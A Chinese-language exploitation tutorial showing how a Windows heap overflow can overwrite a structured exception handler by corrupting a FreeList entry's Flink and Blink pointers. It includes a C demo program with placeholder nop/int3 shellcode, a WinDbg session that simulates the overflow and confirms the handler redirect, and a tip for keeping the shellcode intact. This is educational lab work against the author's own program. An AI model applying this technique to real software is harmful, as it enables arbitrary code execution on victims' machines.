SEH溢出有多种方式:栈溢出和堆溢出。本文关注堆溢出后如何利用SEH。堆溢出的步骤和前文一样:从FreeList[n]中获取即将被HeapAlloc函数分配出去的空闲块的地址。然后修改该块块首_FREE_HEAP_ENTRY!_LIST_ENTRY结构中的前后指针的值,达到修改内存地址的目的。对于本文,_LIST_ENTRY!Flink将被设置为最近进入异常处理块时插入在异常链表中异常处理块的地址,而_LIST_ENTRY!Blink设置为shellcode的地址;调用HeapAlloc函数后,异常处理块的地址被指向为shellcode,之后在异常处理块中触发异常。使得shellcode得以执行。
以下是实例代码:
#include <windows.h>
#include <stdio.h>
//shellcode用0xcc软件中断做结尾,引起异常这样方便验证shellcode是否成功执行
char shellcode[] = {"\x90\x90\xeb\x04\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\xcc"};
int main()
{
HANDLE hp = HeapCreate(0,0x10000,0x100000);
LPVOID h1,h2,h3,h4,h5,h6,h7=0;
int i=0,j=0;
printf("shellcode:%08x\n",shellcode);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
_asm int 3;
__try
{
//1)处
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5);
h7 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
//2)处
i/=j;
}
__except(1)
{
printf("exception handled\n");
}
return 0;
}
我们的目标是在执行h7 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);语句时将异常处理块的地址修改为shellcode的地址。之后触发除零异常时跳到shellcode中执行代码,而不是执行printf("exception handled\n");往屏幕输出字符串。双击运行程序,用int 3断点异常唤出windbg调试程序,接着开始开始利用SEH之旅~
进入__try/__except块后查看当前线程的异常处理链表和栈顶位置:
0:000> !exchain ;windbg查看线程异常处理链表的命令
0012ff70: sehDwordShoot+121c (0040121c)
0012ffb0: sehDwordShoot+121c (0040121c)
0012ffe0: kernel32!_except_handler3+0 (77e7bb86)
CRT scope 0, filter: kernel32!BaseProcessStart+29 (77e85168)
func: kernel32!BaseProcessStart+3a (77e85179)
Invalid exception stack at ffffffff
0:000> r esp
esp=0012ff28
异常处理链中的节点存放在栈中,每个节点的类型为:
0:000> dt _EXCEPTION_REGISTRATION_RECORD
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : Ptr32 _EXCEPTION_DISPOSITION ;此处存放的是异常处理函数的地址
离栈顶最近的节点一定是最近依次进入__try/__except块的代码。当前程序栈顶esp=0012ff28,离它最近的异常处理节点位于0012ff70--这就是程序运行到1)处时,在栈中建立的异常处理结点。
顺带看下它的异常处理函数的地址:
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0012ff70
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x0012ffb0 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x0040121c _EXCEPTION_DISPOSITION +0
虚拟地址0x40121C就是异常处理函数的地址,对于c/c++的程序这个函数对应于__except_handler3。这不是我瞎吹,可以结合程序的Map文件分析得到~
1.模块加载在00400000
0:000> lm
start end module name
00400000 00408000 sehDwordShoot C (no symbols)
2.模块的代码段偏移OVA:0x1000,通过模块在内存中的PE信息得到
0:000> !dh 00400000
SECTION HEADER #1 ;只显示和代码段相关的节表
.text name
3C36 virtual size
1000 virtual address ;代码段相对于模块的偏移
4000 size of raw data
1000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
60000020 flags
Code
(no align specified)
Execute Read
3.map文件显示距离代码段偏移0x21c处的符号
0001:0000021c __except_handler3 0040121c f LIBC:exsup3.obj
把三者结合起来:0x400000(模块基质)+0x1000(代码段在模块中的偏移)+0x021c符号在代码段中的偏移=0x0040121c,这个地址对应的符号:__except_handler3-->这不就是异常链表中的异常处理节点吗?vs生成的程序异常处理函数统一为__except_handler3,异常发生时由系统调用__except_handler3,由它调用我们编码在__except(){}中的异常处理代码,相当于开篇提到过的记录异常日志。
扯开了一点,继续我们的主题。当程序执行完3次HeapFree后空闲链表FreeList[2]中已有3个空闲项:
0:000> dt _HEAP 510000
ntdll!_HEAP
+0x178 FreeLists : [128] _LIST_ENTRY [ 0x5106e8 - 0x5106e8 ]
0:000> dd 510178+4*4 L2 ;_LIST_ENTRY类型的空闲链表数组元素FreeList[2]的元素
00510188 00510688 005106c8
0:000> dt _LIST_ENTRY 00510188 ;链表头
ntdll!_LIST_ENTRY
[ 0x510688 - 0x5106c8 ]
+0x000 Flink : 0x00510688 _LIST_ENTRY [ 0x5106a8 - 0x510188 ]
+0x004 Blink : 0x005106c8 _LIST_ENTRY [ 0x510188 - 0x5106a8 ]
0:000> dt _LIST_ENTRY 00510688
ntdll!_LIST_ENTRY
[ 0x5106a8 - 0x510188 ]
+0x000 Flink : 0x005106a8 _LIST_ENTRY [ 0x5106c8 - 0x510688 ]
+0x004 Blink : 0x00510188 _LIST_ENTRY [ 0x510688 - 0x5106c8 ]
0:000> dt _LIST_ENTRY 005106a8
ntdll!_LIST_ENTRY
[ 0x5106c8 - 0x510688 ]
+0x000 Flink : 0x005106c8 _LIST_ENTRY [ 0x510188 - 0x5106a8 ]
+0x004 Blink : 0x00510688 _LIST_ENTRY [ 0x5106a8 - 0x510188 ]
0:000> dt _LIST_ENTRY 005106c8 ;最后一次调用HeapFree时插入的空闲堆块
ntdll!_LIST_ENTRY
[ 0x510188 - 0x5106a8 ]
+0x000 Flink : 0x00510188 _LIST_ENTRY [ 0x510688 - 0x5106c8 ]
+0x004 Blink : 0x005106a8 _LIST_ENTRY [ 0x5106c8 - 0x510688 ]
从windbg的结果看出,当前空闲链表FreeList[2]的形成过程如图所示:
画个图果然直观形象很多~当执行HeapAlloc时将移除0x5106c8,并修改0x5106a8->Flink的值为FreeList[n],巧了就是0x5106a8正好是0x5106c8->Blink指向,同时FreeList[n]由0x5106c8->Flink指向。这段话改用C语言描述就是0x5106c8->Blink->Flink=0x5106c8->Flink ,0x5106c8->Blink是修改的目标,0x5106c8->Flink是源。因此,我们修改0x5106c8处的_LIST_ENTRY结构内容即可。要修改的是0x12ff74处异常处理函数,将它修改为0x406030处shellcode的地址,带入上面标红处的公式0x5106c8->Blink处填入0x12ff74;而0x5106c8->Flink处填0x406030
0:000> ed 5106cc 12ff74
0:000> ed 5106c8 406030
这里直接修改内存是为了模拟一次堆溢出,尽管我可以直接用memcpy代替。为了让异常分发执行到shellcode时能及时停下,需要给shellcode下访问断点:
0:000> ba e1 406030;g
紧接着,触发除0异常并顺利触发访存断点
SehDwordShoot+0x10b9:
004010b9 f7f9 idiv eax,ecx
0:000> g
(44c.204): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=77f51597 ecx=00000000 edx=00000000 esi=00510000 edi=77f516f8
eip=004010b9 esp=0012ff34 ebp=0012ff80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010246
SehDwordShoot+0x10b9:
004010b9 f7f9 idiv eax,ecx
同时,我们看看线程异常链表:
0:000> !exchain
0012fb84: ntdll!ExecuteHandler2+3a (77f833b4)
0012ff70: SehDwordShoot+6030 (00406030) ;<-------成功被修改到shellcode的地址
0012ffb0: SehDwordShoot+121c (0040121c)
0012ffe0: kernel32!_except_handler3+0 (77e7bb86)
CRT scope 0, filter: kernel32!BaseProcessStart+29 (77e85168)
func: kernel32!BaseProcessStart+3a (77e85179)
Invalid exception stack at ffffffff
本次堆溢出利用SEH异常处理结束~
后记:
大家有没有注意到我shellcode构造时有点特别?
shellcode中的第二个DWORD会在HeapAlloc时被改写(这是执行0x5106c8->Flink->Blink=0x5106c8->Blink的副作用),这个改写常常会引发shellcode执行失败。然而,0Day安全一书没有提到解决的方法。我调试多次后发现,只要让shellcode中第二个DWORD作为buff供HeapAlloc修改,不去执行其中的内容即可。如何不执行其中的代码?当然是在shellcode的第一个DWORD中设置一段jmp语句,将执行流强制跳转到第二个DWORD之后即可~第一个DWORD中的opcode翻译成汇编就是:
nop
nop
jmp 0x04